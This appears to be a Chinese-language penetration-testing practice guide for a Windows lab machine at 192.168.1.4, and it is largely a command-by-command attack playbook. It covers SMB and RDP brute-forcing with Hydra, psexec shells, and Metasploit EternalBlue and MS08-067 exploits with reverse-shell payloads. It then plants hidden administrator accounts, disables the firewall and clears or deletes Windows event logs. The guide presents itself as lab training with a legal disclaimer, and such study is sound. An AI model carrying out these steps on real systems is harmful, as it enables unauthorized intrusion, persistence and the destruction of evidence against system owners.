192.168.1.4(Windows 靶机)渗透测试练习全流程(详细步骤)
一、练习目标
通过对 Windows 靶机(192.168.1.4)的开放服务(SMB、RDP、RPC 等)进行探测、漏洞扫描、暴力破解、权限获取,掌握 Windows 系统渗透测试的核心流程,巩固 Nmap 扫描、Hydra 暴力破解、SMB 服务利用等基础技能。
二、前置准备
- 环境确认 :
- 本地攻击机:Kali Linux(已安装 Nmap、Hydra、smbclient、Metasploit 等工具,默认自带)。
- 目标靶机:192.168.1.4(Windows 系统,开放 135、139、445、3389 等端口,网络通畅)。
- 工具清单 :
- 端口扫描:Nmap(含 NSE 脚本)。
- 暴力破解:Hydra。
- SMB 服务交互:smbclient、rpcclient。
- 漏洞利用:Metasploit Framework(MSF)。
- 字典文件:Kali 自带字典(
/usr/share/wordlists/目录下)。
三、第一步:深度探测靶机信息(精准收集目标情报)
1. 确认开放服务及版本(细化 Nmap 扫描)
之前的全端口扫描已获取基础信息,现在针对核心服务(445、135、3389)进行深度探测,获取更详细的版本和配置:
bash
运行
# 1. 探测 SMB 服务版本、是否允许匿名登录、共享资源(核心!)
nmap -sV -p 135,139,445 --script=smb-version,smb-anon,smb-share-enum 192.168.1.4
# 2. 探测 RDP 服务版本及配置(是否允许密码登录、支持的加密方式)
nmap -sV -p 3389 --script=rdp-enum-encryption,rdp-vuln-ms12-020 192.168.1.4
# 3. 探测 RPC 服务信息(枚举用户、端口映射等)
nmap -sV -p 135 --script=rpcinfo,rpc-enum-users 192.168.1.4
扫描结果关键分析点:
- SMB 部分 :关注是否显示
SMBv1 enabled(易受永恒之蓝漏洞攻击)、Anonymous login allowed(匿名登录可用)、Shared folders(开放的共享目录,如 C\(、Admin\) 等默认共享)。 - RDP 部分 :关注
Security Layer(安全层类型)、Encryption Level(加密级别),是否存在ms12-020漏洞(RDP 远程代码执行)。 - RPC 部分:是否能枚举到用户列表(如 Administrator、admin 等),为后续暴力破解提供用户名。
2. 手动验证 SMB 共享资源(补充 Nmap 扫描结果)
若 Nmap 脚本未获取完整共享信息,用 smbclient 手动枚举:
bash
运行
# 匿名枚举共享资源(无需账号密码)
smbclient -L //192.168.1.4 -N
# 若匿名登录失败,尝试空密码登录(部分靶机允许)
smbclient -L //192.168.1.4 -U ""%""
关键输出解读:
- 若显示
ADMIN$、C$、IPC$等共享目录,说明靶机开启了默认管理员共享(高价值目标)。 - 若显示
Users、Public等共享目录,可能包含用户文件,可尝试访问获取敏感信息。
3. 枚举靶机用户列表(为暴力破解准备用户名)
通过 RPC 服务枚举用户,减少暴力破解的盲目性:
bash
运行
# 方法 1:用 rpcclient 匿名枚举(需靶机允许)
rpcclient -U "" 192.168.1.4
# 进入交互界面后,执行用户枚举命令
enumdomusers
# 方法 2:用 Nmap 脚本直接枚举
nmap -p 135 --script=smb-enum-users 192.168.1.4
# 方法 3:若上述失败,使用默认 Windows 用户名字典(Kali 自带)
cat /usr/share/wordlists/metasploit/windows_users.txt > target_users.txt
# 手动补充常见用户名(如 Administrator、admin、user、test 等)
echo -e "Administrator\nadmin\nuser\ntest\nGuest" >> target_users.txt
四、第二步:暴力破解(获取合法登录凭证)
优先破解 SMB 服务(445 端口),因为 SMB 凭证可直接用于文件访问、远程命令执行,甚至 RDP 登录(若靶机开启相关关联)。
1. 准备字典文件(Kali 自带高效字典)
bash
运行
# 用户名字典(已在上一步生成 target_users.txt)
# 密码字典:使用 rockyou.txt(需解压,Kali 自带)
gunzip /usr/share/wordlists/rockyou.txt.gz # 仅首次使用需解压
cp /usr/share/wordlists/rockyou.txt target_pass.txt
# (可选)简化密码字典(适合快速测试,优先弱密码)
head -n 10000 /usr/share/wordlists/rockyou.txt > quick_pass.txt
2. 用 Hydra 暴力破解 SMB 服务
bash
运行
# 命令格式:hydra -L 用户名字典 -P 密码字典 smb://目标IP
hydra -L target_users.txt -P quick_pass.txt smb://192.168.1.4 -vV
# 若快速字典失败,用完整 rockyou.txt(耗时较长,建议后台运行)
hydra -L target_users.txt -P target_pass.txt smb://192.168.1.4 -vV -o smb_crack_result.txt &
参数解释:
-L:指定用户名字典文件。-P:指定密码字典文件。-vV:详细输出破解过程(实时查看进度)。-o:将破解结果保存到文件(避免遗漏)。&:后台运行(不占用当前终端)。
关键结果:
- 若破解成功,会显示类似
[445][smb] host: 192.168.1.4 login: Administrator password: 123456的信息,记录下合法凭证(用户名 + 密码)。
3. (可选)暴力破解 RDP 服务(3389 端口)
若 SMB 破解失败,尝试破解 RDP 服务(Windows 远程桌面):
bash
运行
# 命令格式:hydra -L 用户名字典 -P 密码字典 rdp://目标IP
hydra -L target_users.txt -P quick_pass.txt rdp://192.168.1.4 -vV -t 4
# 参数补充:-t 4 表示并发线程数(避免线程过多被靶机拦截)
注意:
- RDP 暴力破解速度较慢,且部分 Windows 系统会限制登录失败次数(如 5 次后锁定账号),建议优先尝试弱密码字典。
五、第三步:利用合法凭证获取靶机权限
场景 1:SMB 凭证破解成功(优先操作)
1. 访问 SMB 共享目录,窃取敏感信息
bash
运行
# 登录管理员共享(如 C$,需管理员权限凭证)
smbclient //192.168.1.4/C$ -U Administrator%123456
# 进入交互界面后,执行文件操作命令
ls # 查看 C 盘文件
get desktop.ini # 下载文件到本地(Kali 当前目录)
cd Users/Administrator/Documents # 进入管理员文档目录
get "重要文件.txt" # 下载敏感文件
exit # 退出
2. 通过 SMB 执行远程命令(获取靶机 Shell)
利用 psexec 工具(Kali 自带,需 SMB 凭证)获取交互式 Shell:
bash
运行
# 方法 1:使用 impacket 工具集的 psexec(推荐,兼容性好)
# 若未安装 impacket,先安装:sudo apt install impacket -y
psexec.py Administrator:123456@192.168.1.4
# 方法 2:使用 Metasploit 中的 psexec 模块
msfconsole # 启动 MSF
use exploit/windows/smb/psexec # 加载模块
set RHOSTS 192.168.1.4 # 设置目标 IP
set SMBUSER Administrator # 设置用户名
set SMBPASS 123456 # 设置密码
run # 执行,成功后获取 SYSTEM 权限 Shell
关键结果:
- 若成功,会获得靶机的
SYSTEM权限(最高权限),Shell 提示符类似C:\Windows\system32>,可执行任意系统命令。
场景 2:RDP 凭证破解成功(直接登录桌面)
1. 用 xfreerdp 登录靶机桌面(Kali 自带)
bash
运行
# 命令格式:xfreerdp /u:用户名 /p:密码 /v:目标IP
xfreerdp /u:Administrator /p:123456 /v:192.168.1.4
# 若靶机分辨率适配问题,添加分辨率参数
xfreerdp /u:Administrator /p:123456 /v:192.168.1.4 /size:1920x1080
2. 登录后操作(巩固权限与渗透测试)
- 查看系统信息:
winver(确认 Windows 版本)、ipconfig /all(查看网络配置)。 - 窃取敏感信息:浏览桌面、文档目录,查找密码文件、配置文件。
- 权限提升(若当前为普通用户):查看
whoami /priv确认权限,利用ms17-010等漏洞提升至 SYSTEM 权限。 - 植入后门:创建隐藏用户(
net user test$ 123456 /add)、开启远程控制服务,方便后续访问。
六、第四步:漏洞利用(无凭证情况下的备选方案)
若暴力破解失败,尝试利用靶机可能存在的已知漏洞(如 SMB 永恒之蓝、RPC 漏洞等)直接获取权限。
1. 检测永恒之蓝漏洞(MS17-010,CVE-2017-0144)
永恒之蓝是 Windows SMBv1 服务的高危漏洞,影响 Windows 7、Server 2008 等系统,可直接获取 SYSTEM 权限:
bash
运行
# 方法 1:Nmap 脚本检测
nmap -p 445 --script=smb-vuln-ms17-010 192.168.1.4
# 方法 2:Metasploit 模块检测
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.4
run
若检测到漏洞(显示 VULNERABLE),执行利用:
bash
运行
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.4
set PAYLOAD windows/x64/meterpreter/reverse_tcp # 64 位系统
# 若靶机是 32 位,改用:set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 你的 Kali IP # 如 192.168.1.3
set LPORT 4444 # 监听端口(可自定义)
run
成功后获取 Meterpreter Shell:
- 执行
whoami确认权限(通常为 SYSTEM)。 - 执行
sysinfo查看靶机详细信息。 - 执行
download C:\Users\Administrator\Desktop\敏感文件.txt /root/下载文件。
2. 检测 RPC 漏洞(MS08-067,CVE-2008-4250)
影响 Windows XP、Server 2003 等老旧系统,可直接远程代码执行:
bash
运行
# Metasploit 检测与利用
msfconsole
use auxiliary/scanner/smb/smb_ms08_067
set RHOSTS 192.168.1.4
run
# 若漏洞存在,执行利用
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.4
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 你的 Kali IP
set LPORT 4445
run
七、第五步:权限巩固与痕迹清理(模拟真实渗透)
1. 权限巩固(确保后续可再次访问)
bash
运行
# 1. 创建隐藏管理员用户(Meterpreter Shell 中执行)
net user hack$ P@ssw0rd /add # 用户名 hack$ 带 $ 隐藏
net localgroup administrators hack$ /add # 加入管理员组
# 2. 开启 RDP 服务(若未开启)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 3. 关闭 Windows 防火墙(避免后续连接被拦截)
netsh advfirewall set allprofiles state off
2. 痕迹清理(删除操作日志,隐藏渗透痕迹)
bash
运行
# 1. 清除 Windows 事件日志(Meterpreter Shell 中)
clearev
# 2. 删除 SMB 登录日志(可选)
del C:\Windows\System32\winevt\Logs\Security.evtx
del C:\Windows\System32\winevt\Logs\System.evtx
# 3. 退出 Meterpreter Shell
exit
八、常见问题与排查(复习重点)
| 问题现象 | 可能原因 | 解决方法 |
|---|---|---|
Hydra 破解 SMB 显示 host is down |
靶机防火墙拦截 445 端口;SMB 服务未启动 | 用 nmap -p 445 192.168.1.4 确认端口状态;靶机本地关闭防火墙 |
smbclient 登录失败:NT_STATUS_ACCESS_DENIED |
凭证错误;靶机禁止匿名登录;共享目录权限限制 | 重新检查凭证;尝试管理员权限凭证;换其他共享目录(如 Public) |
永恒之蓝利用失败:Exploit failed [no-target] |
靶机系统版本不兼容(如 Windows 10/11);SMBv1 未开启 | 用 sysinfo 确认靶机系统版本;靶机本地开启 SMBv1(仅测试用) |
RDP 登录失败:CredSSP encryption oracle remediation |
Windows 安全更新导致的加密协议不兼容 | 方法 1:靶机关闭 CredSSP 限制(注册表修改);方法 2:Kali 用 xfreerdp /u:xxx /p:xxx /v:xxx /cert:ignore 忽略证书验证 |
| Meterpreter Shell 断开连接 | 网络不稳定;靶机杀软拦截 | 改用 reverse_https payload(抗防火墙);set PAYLOAD windows/meterpreter/reverse_https |
九、练习总结与扩展
1. 核心技能收获
- 掌握 Windows 靶机核心服务(SMB、RDP、RPC)的探测方法。
- 熟练使用 Hydra 进行暴力破解,理解字典选择的重要性。
- 学会利用 SMB 凭证获取 Shell、RDP 登录的实战流程。
- 掌握永恒之蓝、MS08-067 等经典漏洞的检测与利用。
2. 扩展练习方向
- 尝试破解靶机的其他服务(如 FTP、HTTP 后台登录)。
- 利用 Meterpreter 进行后渗透测试(如内网横向移动、密码哈希窃取)。
- 练习 Windows 权限提升(如利用系统漏洞、错误配置、SUID 二进制文件)。
- 模拟防御方:在靶机上开启防火墙、安装杀软,练习绕过防御的渗透方法。
3. 安全提醒
- 本练习仅适用于 个人测试环境,禁止对未授权的生产环境、公共网络设备进行渗透测试,否则需承担法律责任。
- 测试完成后,及时清理靶机上的后门用户、关闭危险服务,恢复靶机原始配置。
按以上步骤逐步操作,可完整覆盖 Windows 靶机渗透测试的核心流程,从信息收集到权限获取,再到权限巩固,形成完整的实战逻辑链,适合反复练习巩固。